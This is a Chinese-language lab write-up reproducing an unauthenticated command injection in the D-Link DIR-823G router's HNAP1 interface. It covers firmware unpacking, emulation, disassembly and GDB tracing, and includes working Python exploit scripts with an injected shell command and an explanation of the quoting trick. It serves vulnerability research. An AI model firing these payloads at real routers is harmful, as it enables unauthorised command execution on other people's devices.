D-Link DIR-823G v1.02
漏洞描述:
D-Link DIR-823G v1.02在设备的默认初始化时,会造成未授权的命令执行。
1、信息收集
1.1、基础信息收集
binwalk
binwalk DIR823G_V1.0.2B05_20181207.bin
我们看到这个文件是Squashfs文件系统。
对文件进行解包
binwalk -Me DIR823G_V1.0.2B05_20181207.bin
file&checksec
我们发现这个固件是mips小端32位
firmwalker
这个固件的web服务有两个。
1.2、web服务的启动分析
我们先看inittab
# Boot-time system configuration/initialization script.
::sysinit:/etc/init.d/rcS # 启动时执行的初始化脚本,路径是 /etc/init.d/rcS。
# Start an "askfirst" shell on the console (whatever that may be)
#::askfirst:-/bin/sh # 如果启用,会在控制台启动一个交互式 shell,等待用户输入。
::respawn:-/bin/sh # 启动一个 shell,若其退出,自动重启这个 shell。
# Start an "askfirst" shell on /dev/tty2-4
#tty2::askfirst:-/bin/sh # 在 tty2 终端启动交互式 shell(当前被注释,不会执行)。
#tty3::askfirst:-/bin/sh # 在 tty3 终端启动交互式 shell(当前被注释,不会执行)。
#tty4::askfirst:-/bin/sh # 在 tty4 终端启动交互式 shell(当前被注释,不会执行)。
我们发现这里面启动了rcS文件
我们继续看rcS文件
这个固件启动的是goahead服务
2、漏洞复现
2.1、模拟固件
firmAE
sudo ./run.sh -d dlink ./firmwares/dir/dir823g/DIR823G_V1.0.2B05_20181207.bin
2.2、漏洞的复现
根据已有的exp寻找漏洞的利用点和利用链。
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import requests
IP='192.168.0.1'
#输入要执行的命令
command = "'`ps > /web_mtn/ps.txt`'"
length = len(command)
#构造报文的头部
headers = requests.utils.default_headers()
headers["Content-Length"]=str(length)
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36"
headers["SOAPAction"] = '"http://purenetworks.com/HNAP1/GetClientInfo"'
headers["Content-Type"] = "text/xml; charset=UTF-8"
headers["Accept"]="*/*"
headers["Accept-Encoding"]="gzip, deflate"
headers["Accept-Language"]="zh-CN,zh;q=0.9,en;q=0.8"
#发送攻击payload
payload = command
r = requests.post('http://'+IP+'/HNAP1/', headers=headers, data=payload)
我们可以看到,这个漏洞的类型是属于命令执行。
首先,我们要定位该命令执行的的调用链。
我们看到这个exp的访问页面位:http://192.168.0.1/HNAP1/
我们拿到这个关键字“HNAP1”,先访问一下看看
我们配合着抓包来看,发现这个的页面的信息是一些返回的配置信息。
我们再到固件中进行寻找。
grep -ir "HNAP1"
我们发现跟我们“HNAP1”相关的只有这两个.js文件,
我们对下面的那个.js文件进行了查阅,发现它说只是用来通信获取信息的。
结合着实际的抓包来看
我们再对另一个.js文件进行检索
grep -ir "hnap.js"
我们查看了initialJS.js的源码后发现,唯一和hnap.js相关的一句还是被注释掉的。
我们继续看另一个文件Wizard.html
这个页面存在于我们刚模拟启动好的时候,是一个关于路由器所有配置的设置信息。
初步断定应该是设置配置信息时造成的命令执行漏洞。
到我们配置好所有信息时,登陆进去时,在访问这个界面是访问不到的(就是不会出现这个界面),但是抓包发现,虽然访问没有页面,但是请求包是发送成功的。
我们现在IDA上定位这个命令执行的地方。
我们对函数sub_40B1F4和sub_42383C进行查看
在ghidra上看伪代码
sub_40B1F4(ghidra和ida的函数命名前缀不同)
sub_42383C
我们发现了命令执行的位置。
我们通过gdb调试验证一下。
我们把命令改一下。
然后在ghidrau确认这个函数的地址“0042383c”
然后确认这个命令执行的地址“00423a0c”
然后设置断点,写一个mygdb.gdb
set architecture mips
set endian little
set sysroot lib/
set solib-search-path lib/
target remote 192.168.0.1:1337
# 命令执行函数的开始地址
b *0x0042383C
# 命令执行的地址
b *0x00423A0C
firmAE&GDB动态调试
在firmAE模拟起来后
gdb-multiarch -x mygdb.gdb
然后我们运行我们的exp
我们发现我们的命令已经入栈
然后我们继续运行到system函数
检查一下我们的命令是否执行成功
我们发现是创建成功的
根据这个exp在burp上发包
执行是是成功的
2.3、exp
源码:
# -*- coding: utf-8 -*-
import requests
# 定义请求的 URL
burp0_url = "http://192.168.0.1:80/HNAP1/"
# 定义请求数据
burp0_data = "'`echo aaaaaa > web_mtn/my9.html`'"
# 计算请求数据的长度
length = len(burp0_data)
# 定义请求头
burp0_headers = {
"Accept": "*/*",
"Content-Length": str(length), # 正确转换长度为字符串
"SOAPAction": "\"http://purenetworks.com/HNAP1/GetClientInfo\"",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36",
"Content-Type": "text/xml; charset=UTF-8",
"Origin": "http://192.168.0.1",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh,en-US;q=0.9,en;q=0.8",
"Connection": "close"
}
# 发送 POST 请求
response = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
# import requests
# burp1_url = "http://192.168.0.1:80/my9.html"
# burp1_cookies = {"uid": "ujcI4DPmyw", "PrivateKey": "C8B843B87E7C03EF5F224D6D4949A7F1", "timeout": "7"}
# burp1_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh,en-US;q=0.9,en;q=0.8", "Connection": "close"}
# a=requests.get(burp1_url, headers=burp1_headers, cookies=burp1_cookies)
# print(a.text)
3、关于一些细节的补充
关于命令的构造:
这个命令需要加个单引号,是因为原拼接里面有单引号
所以需要单引号去让原本的单引号失效。